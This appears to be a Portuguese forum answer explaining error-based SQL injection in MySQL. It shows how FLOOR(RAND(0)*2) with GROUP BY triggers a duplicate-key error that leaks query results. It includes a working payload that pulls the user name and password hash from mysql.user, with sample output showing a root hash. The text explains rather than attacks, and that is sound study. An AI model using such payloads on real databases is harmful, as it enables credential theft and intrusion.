O que o ataque realmente faz
Há um detalhe sutil, mas inteligente, sobre esse ataque que outros respondentes não perceberam. Observe a mensagem de erro
Duplicate entry ':sjw:1:ukt:1' for key 'group_key'
. A string :sjw:1:ukt:1
é na verdade o resultado de uma expressão avaliada pelo seu servidor MySQL. Se seu aplicativo enviar a string de erro do MySQL de volta ao navegador, a mensagem de erro pode vazar dados do seu banco de dados. Esse tipo de ataque é usado nos casos em que o resultado da consulta não é enviado de volta ao navegador (injeção de SQL cega) ou quando um ataque UNION SELECT clássico é complicado de ser executado. Também funciona em consultas INSERT/UPDATE/DELETE.
Como observa Hawili, a consulta original em particular não deveria vazar nenhuma informação, era apenas um teste para ver se seu aplicativo é vulnerável a esse tipo de injeção.
O ataque não falhar como MvG sugerido, causando esse erro é o objetivo da consulta.
Um exemplo melhor de como isso pode ser usado:
> SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
> 0x20, FLOOR(RAND(0)*2)) x
> FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'
Por que o erro é gerado
Por que a consulta causa esse erro no MySQL é um mistério para mim. Parece um bug do MySQL, já que GROUP BY deve lidar com entradas duplicadas agregando-as. A simplificação da consulta de Hawili, de fato, não causa o erro!
A expressão
FLOOR(RAND(0)*2)
fornece os seguintes resultados em ordem, com base no argumento de semente aleatório 0:> SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 | <-- error happens here
| 0 |
| 1 |
| 1 |
...
Como o 3º valor é uma duplicata do 2º, esse erro é lançado. Qualquer tabela FROM com pelo menos 3 linhas pode ser usada, mas information_schema.tables é comum. As partes COUNT(*) e GROUP BY são necessárias para provocar o erro no MySQL:
> SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
Este erro não ocorre na consulta equivalente ao PostgreSQL:
# SELECT SETSEED(0);
# SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
count | x
-------+---
83 | 0
90 | 1
(Desculpe por responder com 1 ano de atraso, mas acabei de me deparar com isso hoje. Esta pergunta é interessante para mim porque eu não sabia que existem maneiras de vazar dados por meio de mensagens de erro do MySQL)